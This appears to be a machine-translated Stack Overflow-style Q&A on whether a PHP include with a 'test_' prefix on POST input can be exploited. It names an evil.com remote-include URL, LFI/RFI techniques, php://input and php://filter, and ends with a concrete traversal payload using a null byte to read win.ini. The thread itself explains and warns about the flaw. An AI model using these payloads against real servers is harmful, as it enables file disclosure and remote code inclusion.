PHP 在变量之前使用字符串包含安全性


PHP Include security with String Before Variable

假设 example.com 有一个带有此HTML的前端:

<form action='this.php' method='post'>
<input type='hidden' value='test' name='post'>
<input type='submit' value='Test'>
</form>

这.php包括以下内容:

if (isset($_POST['post'])) {
include 'test_' . $_POST['post'] . ".php";
}

使用上述设置,如果字符串"test_"附加到其开头,某人将如何执行恶意包含或尝试任何类型的目录遍历?

如果他们输入/../../,包含会将其读作 'test_/../../',并且失败,如果他们使用URL,include将得到'test_http://evil.com/badcode.php"并再次失败。

有人会如何绕过正在进行的字符串来执行远程包含或更改其目录?

旁注:我确实知道如何对字符串进行消毒,以及其他安全措施来完全避免这种情况。这仅仅是出于好奇,从我现在所知道的情况来看,我认为这是不可能的。

这不是

一个好的做法,永远记住,永远不要相信用户输入!

请记住,切勿将用户输入传递给include语言结构。

从您的代码中可以清楚地看出,目录遍历会导致404。但是,可能有一些聪明的邪恶极客可以绕过并执行RFI攻击。

所以更好的建议是.. Don't send user input directly to an include() construct.

文件流通常以以下两种方式之一被滥用。LFI,和RFI(分别为本地文件包含/远程文件包含)或一般MFI(恶意文件包含)。通常它用于管道本地文件,如/etc/passwd 或日志文件。

RFI 要危险得多,如果allow_url_fopen处于打开状态,这是一种可能性 这允许黑客将远程文件包含在您的环境中。在上面的示例中,它与空字节注入结合使用以忽略串联。

有许多方法可以操作字符串来执行各种操作,例如包括 php://input 或 php://filter

如果他们输入/../../,包含会将其读作 'test_/../../',并失败 [...]

这实际上仅适用于基于 Unix 的系统,但适用于 Windows,因为它仅在给定路径上而不是在实际文件系统结构上执行路径解析。只要解析的路径存在,Windows 就不关心其中一个未解析的路径段是否存在。

此外,在某些 PHP 版本中,并非所有二进制安全和空字节可以结束字符串和剩余字节的文件系统函数都被省略了。

因此,根据操作系统和 PHP 版本,您的脚本可能会被利用来使用以下模式包含任意文件:

post=/../../../../windows/win.ini%00